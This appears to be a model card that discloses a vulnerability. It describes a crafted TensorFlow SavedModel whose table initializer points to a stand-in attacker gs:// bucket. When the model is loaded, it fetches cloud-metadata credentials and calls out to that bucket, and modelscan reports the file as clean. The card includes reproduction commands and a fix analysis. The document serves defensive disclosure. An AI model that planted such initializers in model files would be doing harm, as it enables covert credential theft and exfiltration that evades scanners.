YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Load-time SSRF / cloud-metadata exfil via a TensorFlow SavedModel table initializer

Target format: TensorFlow SavedModel (.pb) β€” category load-time-ssrf Verified with: tensorflow 2.21.0, keras 3.15.0, protectai/modelscan 0.8.8 (default settings) Impact: Merely calling tf.saved_model.load() on the file makes the loading process issue an attacker-controlled outbound network request β€” to an attacker-named Google Cloud Storage bucket and to the GCE cloud-metadata server (metadata.google.internal / 169.254.169.254) to fetch the host's credentials. No inference / no served-function call is required. modelscan reports the file as clean.

Why this is a load-time network sink (not RCE, not a backdoor)

A StaticHashTable built from a tf.lookup.TextFileInitializer stores its vocabulary filename in the graph. When the SavedModel is restored, TensorFlow re-runs the table initializer at load time (before any inference) so the table is populated β€” this executes InitializeTableFromTextFileV2, which opens the filename through tensorflow::gfile.

gfile in the stock pip tensorflow wheel implements the gs:// scheme via a compiled GCS filesystem (libcurl). Opening a gs://<bucket>/<object> path therefore:

  1. contacts metadata.google.internal (the GCE metadata server) to obtain an OAuth token (SSRF to 169.254.169.254 β€” cloud-credential theft on any GCE/GKE/Vertex host), then
  2. issues an HTTPS request to storage.googleapis.com/<attacker-bucket>/<attacker-object> (attacker fully controls bucket + object = beacon / data-exfil channel).

Both requests fire purely from loading the model. The bucket/object string is the only attacker input and it is plain data (a string constant), so no code-execution op is present.

The crafted file

sm_evil_gs/ is a normal-looking SavedModel with one lookup table. Its initializer filename was set to:

gs://attacker-bucket-pwn.example.com/exfil/loot

craft_gs.py shows exactly how the file is produced: build an ordinary table-model (build_localfile.py), then rewrite the initializer's filename input in saved_model.pb to the gs:// constant (bypassing TF's asset-tracking, which would otherwise localise a vocab path).

Reproduce

pip install tensorflow keras modelscan

# 1) modelscan says the malicious model is clean
modelscan -p sm_evil_gs                      # -> "No issues found!"

# 2) prove the outbound request fires at LOAD (no inference).
#    Build a connect(2) redirect shim so we can see/capture the egress locally:
gcc -shared -fPIC -o connect_redirect.so connect_redirect.c -ldl
python listener.py 8888 &                     # local capture endpoint
REDIR_PORT=8888 LD_PRELOAD=./connect_redirect.so \
    python load_only.py sm_evil_gs            # loads only; never calls the model

Observed during load (see EVIDENCE.txt for verbatim capture):

  • TF google_auth_provider tries metadata.google.internal for a bearer token,
  • connect(2) to a storage.googleapis.com IP (…:443) is intercepted,
  • the local listener captures the TLS ClientHello whose SNI = storage.googleapis.com,
  • the process never reaches the post-load marker (the fetch of the attacker object retries).

Negative control β€” the benign local-vocab model makes no outbound connection:

REDIR_PORT=8888 LD_PRELOAD=./connect_redirect.so python load_only.py sm_localfile
# >>> BEGIN load / >>> END load  ; connect shim log empty

Root cause / fix

  • Loader side (TensorFlow): resource/table initializers run at load and may dereference remote (gs://, and where compiled s3:///hdfs://) URIs with no opt-in β€” a model file should not be able to drive network egress or cloud-credential fetches simply by being loaded.
  • Scanner side (modelscan): unsafe_tf_operators only denylists ReadFile/WriteFile, so the network/table-initializer op family is invisible. (Same allowlist gap noted for the file-I/O op class; here it is exercised as a load-time network/cloud-metadata primitive.)

Distinctness note

Shares the modelscan op-allowlist root cause with the file-I/O op-coverage class, but the primitive here is outbound network / GCS + GCE-metadata credential exfil that fires at saved_model.load before any inference β€” a different impact class and trigger point from local file read/write/enum executed at serve time.

Downloads last month
-
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support